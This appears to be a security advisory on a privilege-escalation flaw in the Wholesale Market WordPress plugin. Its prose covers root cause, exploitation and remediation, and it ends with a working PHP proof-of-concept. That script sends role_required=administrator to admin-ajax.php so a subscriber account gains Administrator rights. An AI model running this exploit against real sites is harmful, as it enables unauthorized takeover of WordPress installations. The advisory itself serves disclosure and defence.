Atomic Edge analysis of CVE-2026-14279 (metadata-based): This vulnerability is an authenticated privilege escalation in the Wholesale Market plugin for WordPress, affecting versions up to and including 2.2.2. The flaw resides in the ced_wholesale_request_send AJAX action, where the handler blindly assigns any WordPress role supplied via the role_required POST parameter. Successful exploitation allows an authenticated user with Subscriber-level access to escalate privileges to Administrator, leading to full site compromise. The CVSS score of 8.8 reflects high impact with low complexity and no user interaction required.
Root Cause: The root cause is improper privilege management, classified as CWE-269. The ced_wholesale_request_send_callback() function verifies a nonce and that the user has a positive user ID, but fails to enforce capability checks or restrict the role_required parameter to an allowlist of legitimate wholesale roles. The nonce is exposed to all authenticated users via wp_localize_script, removing it as a meaningful access control. Instead of safely mapping the requested role to a predefined wholesale role, the handler passes the client-controlled value directly to WP_User::add_role(). This conclusion is inferred from the CVE description and CWE classification; no source code diff was available for confirmation.
Exploitation: An attacker with a Subscriber account sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ced_wholesale_request_send, the nonce parameter set to the exposed nonce value, and the role_required parameter set to administrator. The handler invokes add_role() with the supplied role, granting the attacker the Administrator role directly from the AJAX request. This is possible when the site administrator has enabled the ‘Assigning requested role directly’ option, which is the vulnerable configuration at the core of the attack. The attack is executed remotely over HTTP as a simple crafted request, with no user interaction from the victim beyond the legitimate subscriber account.
Remediation: The fix requires enforcing a strict allowlist of accepted roles in the ced_wholesale_request_send_callback() function. The handler must validate the role_required parameter against the plugin’s defined wholesale roles (e.g., wholesale_customer, wholesale_manager) before calling add_role(). Additionally, the handler should verify that the requesting user has the ‘edit_user’ capability or, at a minimum, a user level that justifies the role assignment. Ideally, the plugin should avoid assigning admin roles via unauthenticated or subscriber-level AJAX endpoints. Atomic Edge analysis recommends that a proper role hierarchy check be added, and only pre-approved roles be assignable.
Impact: Successful exploitation allows any authenticated subscriber to become a WordPress Administrator. Once the attacker holds Administrator privileges, they can execute arbitrary PHP code by uploading malicious plugins or themes, modify site content, exfiltrate sensitive user data, or completely take over the WordPress installation. The vulnerability has high impact on confidentiality, integrity, and availability, as reflected in the CVSS score of 8.8. Atomic Edge research assesses this as a critical risk for sites running Wholesale Market 2.2.2 with the role auto-assignment option enabled.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14279 - Wholesale Market <= 2.2.2 - Authenticated (Subscriber+) Privilege Escalation via 'role_required' Parameter
/*
* This PoC demonstrates the privilege escalation flaw in the Wholesale Market
* plugin's ced_wholesale_request_send AJAX action. An authenticated user with
* Subscriber-level access can escalate to Administrator by sending a crafted
* POST request to admin-ajax.php.
*
* Requirements:
* - The WordPress site must have the Wholesale Market plugin version <= 2.2.2
* with the 'Assigning requested role directly' option enabled.
* - An active account with Subscriber role (or higher). The user must be
* authenticated in the browser to obtain the valid nonce and cookies.
*
* Steps:
* 1. Log into the WordPress site with the subscriber account.
* 2. Visit the page containing the wholesale request form (any frontend page).
* 3. Copy the nonce value from the HTML source (usually found in a hidden
* input or JS variable, e.g., "security" or "nonce").
* 4. Run this script with the target URL, session cookie, and nonce.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Replace with the AJAX URL
$cookie = 'wordpress_logged_in_abc=session_cookie_value; wordpress_sec_abc=session_cookie_value'; // Session cookies from the subscriber session
$nonce = 'valid_nonce_here'; // Nonce obtained from the frontend page
// Malicious payload: assign the 'administrator' role directly
$post_data = array(
'action' => 'ced_wholesale_request_send',
'nonce' => $nonce,
'role_required' => 'administrator',
// Other fields (e.g., form ID) may be required by the handler but are
// optional if the vulnerable code path doesn't validate them strictly.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; omit in production
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: " . $http_code . "n";
echo "Response: " . $response . "nn";
echo "If the request is successful, the subscriber account should now have the Administrator role.n";
echo "Verify by logging in and visiting /wp-admin (should show admin dashboard).n";
?>
